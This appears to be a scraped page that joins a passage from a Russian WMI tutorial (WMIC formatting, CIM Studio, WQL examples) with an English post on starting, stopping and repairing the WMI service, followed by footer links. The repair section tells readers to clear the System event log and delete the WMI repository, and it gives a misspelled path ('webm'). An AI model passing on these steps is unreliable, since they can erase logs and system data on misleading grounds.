/PRIVILEGES:ENABLE process where description='cmd.exe' list brief

В файле serverlist.txt в столбец или в строку должны быть перечислены имена (IP-адреса) хостов, на которых необходимо выполнить это действие.

В довершение краткого описания утилиты WMIC, следует сказать об еще одной, поистине замечательной, ее особенности – форматировании вывода. Практически все команды WMIC, которые возвращают информацию, могут ее форматировать разными способами. Для этого используется ключ «/format:». Форматирование производится с использованием технологии XSLT (шаблонов для преобразования XML). По умолчанию уже определен ряд готовых преобразований: CSV, HFORM, HMOF, HTABLE, HXML, RAWXML, TABLE, VALUE. Вы так же сами можете определить дополнительные шаблоны форматирования в формате XSLT и использовать их совместно с WMIC.

Краткое практическое знакомство c WMI CIM Studio

Это набор приложений Microsoft Internet Explorer, который позволяет с одной стороны очень тонко, с другой стороны довольно удобно работать с WMI. При этом вы можете как просматривать классы и вызывать методы, так и создавать события и даже модифицировать репозиторий WMI. Поэтому будьте очень осторожны. Если вы запускаете WMI CIM Studio на Windows XP Service Pack 2, то Internet Explorer предупредит вас о потенциальной угрозе безопасности. Вам следует разрешить заблокированное содержимое ActiveX.

На рис. 12 показан вид окна WMI CIM Studio. Слева вы видите набор классов WMI и их иерархии в том пространстве имен WMI, которое вы выбрали при подключении. Справа перечислены все свойства выбранного класса. Все методы класса перечислены на закладке Methods, а на закладке Associations показана «родословная» этого класса и других классов, которые выведены из него.

WMI-CIM-Studio

Рисунок 12. Окно утилиты WMI CIM Studio с открытыми свойствами класса Win32_OperatingSystem

Если вы хотите посмотреть все экземпляры объектов выбранного класса, существующие в вашей системе, то достаточно нажать кнопку со значком списка (четвертая справа кнопка в правой панели кнопок).

WMI CIM Studio очень удобный инструмент для поиска классов и свойств в огромном море репозитория WMI. Для поиска нажмите кнопку со значком бинокля и введите шаблон для поиска, например «network». Выберите область поиска (Class names, Class description, Property names) и нажмите «Go!». В целом WMI CIM Studio очень хороший инструмент для поиска и исследования репозитория WMI и для интерактивного анализа состояния экземпляров объектов WMI.

Язык запросов WQL

Теперь нам следует разобраться, что же такое WQL, а также каким образом в разделе, где описана работа WMIC, мы делали выборку объектов WMI по определенным критериям. Разбирая эту тему, полезно вспомнить, что объектно-ориентированная модель представления данных хорошо ложится на структуру реляционных баз данных. В частности можно провести следующие аналогии: определение таблицы данных (поля и их типы) – это классы объектов, строки в конкретной таблице – это экземпляры объектов данного класса. Каждое поле (столбец) в таблице – это свойство всех объектов данного класса. Каждая ячейка в конкретной строке – это свойство (property) конкретного экземпляра объекта. Связи таблиц и представления можно рассматривать как частный случай наследования. Триггеры и встроенные процедуры исходя из этой аналогии – это методы классов.

Собственно, для того чтобы удобно было работать с множественными экземплярами объектов WMI, используется язык WMI Query Language (WQL), который является подмножеством ANSI SQL.

Основное отличие WQL от ANSI SQL состоит в том, что WQL не позволяет производить изменения в данных WMI, т. е. фактически в WQL поддерживается лишь один оператор SQL: select. Кроме того, в операторе select языка WQL не поддерживаются следующие ключевые слова: DISTINCT, COUNT, JOIN, SUBSTRING, ORDER BY, UPPER, LOWER и DATEPART (эти ключевые слова поддерживаются в варианте Extended WQL (eWQL), реализованном в Microsoft SMS 2.0 и SMS 2003). Не поддерживаются арифметические операторы. Кроме того конструкции IS и IS NOT могут применяться только в сочетании с константой NULL. Языком WQL поддерживается оператор LIKE. Более подробно про шаблоны, применяемые совместно с оператором LIKE в WQL, можно ознакомиться в оригинальном описании WMI на сайте Microsoft [12, 13].

Ниже приведен пример некоторых типичных WQL-запросов:

SELECT * FROM Win32_LogicalDisk WHERE FileSystem IS NULL
SELECT * FROM Win32_LogicalDisk WHERE FileSystem IS NOT NULL
SELECT * FROM Win32_LogicalDisk WHERE FileSystem = "NTFS"
SELECT * FROM Win32_DiskDrive WHERE Partitions < 2 OR SectorsPerTrack > 100
SELECT * FROM Win32_LogicalDisk WHERE (Name = "C:" OR Name = "D:") 
   AND FreeSpace > 2000000 AND FileSystem = "NTFS"
SELECT * FROM Win32_NTLogEvent WHERE Logfile = 'Application'
SELECT * FROM Meta_Class WHERE __Class LIKE %Win32%
SELECT * FROM __InstanceCreationEvent WHERE TargetInstance ISA "Win32_NTLogEvent"
   GROUP WITHIN 600 BY TargetInstance.SourceName HAVING NumberOfEvents > 25

Вы можете поупражняться в запросах WMI с помощью уже хорошо известной вам утилиты WBEMTEST, нажав кнопку «Query» в ее главном окне.

Теперь вспомните утилиту командной строки WMIC, функции которой мы разбирали немного выше. В ее синтаксисе также могут использоваться WQL-запросы для удобства работы с наборами объектов одного класса. Чтобы использовать уже имеющиеся и проверенные WQL-запросы (большинство из них удобнее всего проверять утилитой WBEMTEST), из командной строки достаточно отбросить у WQL-запроса первую часть: «select * from». Затем заменить имя класса на его алиас (псевдоним) из таблицы 1 и при необходимости добавить после запроса вызов метода, формат вывода списка или запрос свойства объекта. Примеры того, что при этом получается, я уже приводил выше.

Если же среди псевдонимов в таблице 1 нет нужного вам класса, то есть два пути решения. Первый – добавить новый псевдоним для нового класса. Этот путь хорош, если с этим классом из WMIC вы будете работать только на этом компьютере. Если же вы хотите использовать команду wmic на разных компьютерах, в том числе и на тех, на которых такой алиас вы не определяли, то можно воспользоваться вторым способом. Второй способ позволяет явно использовать настоящее имя класса WMI при обращении к нему с помощью WMIC. Для этого используйте следующий синтаксис:

wmic path Win32_LogicalDisk WHERE FileSystem='NTFS' get /value

Заключение

Во второй части статьи [15] обсудим написание сценариев с использованием WMI и WSH. Будут разобраны особенности использования WMI в скриптах, из тех, которые обычно вызывают наибольшие затруднения у людей, начинающих работать с этой технологией. К таким темам я отношу: построение moniker string, использование различных пространств имен WMI, связка WMI и COM, использование различных языков программирования вместе с WMI, имперсонация, аутентификация и привилегии. Наконец, наиболее интересные моменты, связанные с подключением к удаленным компьютерам и обработкой системных событий с помощью WMI. В заключении мы обсудим готовые продукты, использующие WMI и стратегию развития этой технологии, а так же ее применения в информационных системах предприятий.

[Ссылки и литература]

1. Distributed Management Task Force Inc. site:dmtf.org.
2. WMICodeCreator.zip site:microsoft.com — WMI Code Creator 1.0.
3. WMITools.exe site:microsoft.com — WMI Administrative Tools.
4. Scriptomatic site:microsoft.com.
5. Tweakomatic Utility site:microsoft.com.
6. Microsoft Scripting Downloads Catalog site:msdn.microsoft.com.
7. WMI Downloads catalog site:msdn.microsoft.com.
8. ADSI Scriptomatic site:microsoft.com.
9. WMI Core 1.5 for Windows 9x, NT 4.0 SP4 site:microsoft.com.
10. Windows Scripting Host 5.6 for Windows 9x/NT/ME site:microsoft.com.
11. Microsoft Windows Script 5.6 Documentation site:microsoft.com.
12. WQL Keywords and description site:msdn.microsoft.com.
13. Windows Management Instrumentation site:msdn.microsoft.com.
14. Вы всё ещё не используете WMI? Часть 1 site:samag.ru.
15Вы всё ещё не используете WMI? Часть 2 site:samag.ru

  • Home
  • News
  • What Is Windows Management Instrumentation Service (WMIS)?

By Aurelie | Follow |
Last Updated

Windows Management Instrumentation may sound strange to you, but it is an indispensable part of your Windows. Therefore, it is necessary to master some basic concepts about it. Follow this guide on MiniTool Website, you will be enlightened.

What Is Windows Management Instrumentation Service? 

Windows Management Instrumentation also called WMI, is a set of specifications from Microsoft which can be used to consolidate the management of applications and devices in a network. WMI runs as a service and the service is called Windows Management Instrumentation Service.

If you need to manage different Windows operating environments including remote systems, Windows Management Instrumentation Service is a good choice. What’s more, it can reduce the maintenance and the cost of managing enterprise network components.

How to Start /Stop Windows Management Instrumentation Service?

The winmgmt.exe service permits WMI to run on a local PC. What’s more, WMI starts automatically at system startup or it is initiated automatically when the first management/monitoring application or script seeks a connection to the WMI namespace.

Here’s how to start Windows Management Instrumentation Service:

Step 1. Press Win + S at the same time to evoke the search bar.

Step 2. Type cmd to locate Command Prompt and right-click on it to choose Run as administrator.

Step 3. Copy & paste net start winmgmt and hit Enter.

start winmgmt

Tips:

Other services which are dependent on Windows Management Instrumentation Service like SMS Agent Host or Windows Firewall, will not automatically be initiated automatically.

As for stopping Windows Management Instrumentation Service, follow the next guidelines:

Step 1. Run Command Prompt as an administrator.

Step 2. Type the following command and don’t forget to hit Enter.

net stop winmgmt

stop winmgmt

Tips:

Any services that are dependent on Windows Management Instrumentation Service will also stop, such as SMS Agent Host or Windows Firewall.

How to Repair Windows Management Instrumentation Service?

Due to various reasons such as system configuration not being configured properly, Windows Management Instrumentation Service failed or it didn’t respond. Don’t worry, repairing it is not difficult. Follow the steps below:

Way 1: Access the WMI Logs and Clear Them

Step 1. Go to Control Panel > System and Security > Administrative Tools.

Step 2. In the Administrative Tools window, scroll down to find Event Viewer and double-click on it.

Step 3. In the left pane, expand Windows Logs and right-click on System to select Clear Log in the drop-down menu.

hit Clear Log

Step 4. As soon as the event log appears, right-click on the system icon and select Clear all Events.

Step 5. After pressing Clear all Events, you will see a message saying You can save the contents of this log before clearing it. Hit Save and Clear to save the log file and then clear it.

Way 2: Delete the Damaged Files and Reactivate the Service

Step 1. Go to Control Panel > System and Security > Administrative Tools.

Step 2. Scroll down to find Service and right-click on it.

Step 3. In Services, right-click on Windows Management Instrumentation to choose Properties.

Step 4. In General, stop the Service status.

stop the service

Step 5. After the service and its related services are stopped, go this path – C:\Windows\System32\webm\Repository and right-click on it to select Delete.

Step 6. Reboot your computer and then it will force the recreation of the necessary for the service.

About The Author

Position: Columnist

Aurelie is a passionate soul who always enjoys researching & writing articles and solutions to help others. Her posts mainly cover topics related to games, data backup & recovery, file sync and so on. Apart from writing, her primary interests include reading novels and poems, travelling and listening to country music.

Понравилась статья? Поделить с друзьями:
0 0 голоса
Рейтинг статьи
Подписаться
Уведомить о
guest

0 комментариев
Старые
Новые Популярные
Межтекстовые Отзывы
Посмотреть все комментарии
  • Microsoft office для windows xp sp3
  • Активация офис 2019 на windows 10 torrent
  • Прекращена работа программы mafia 2 application на windows 7
  • Как сделать gnome похожим на windows
  • Самая последняя версия драйвера nvidia на windows 10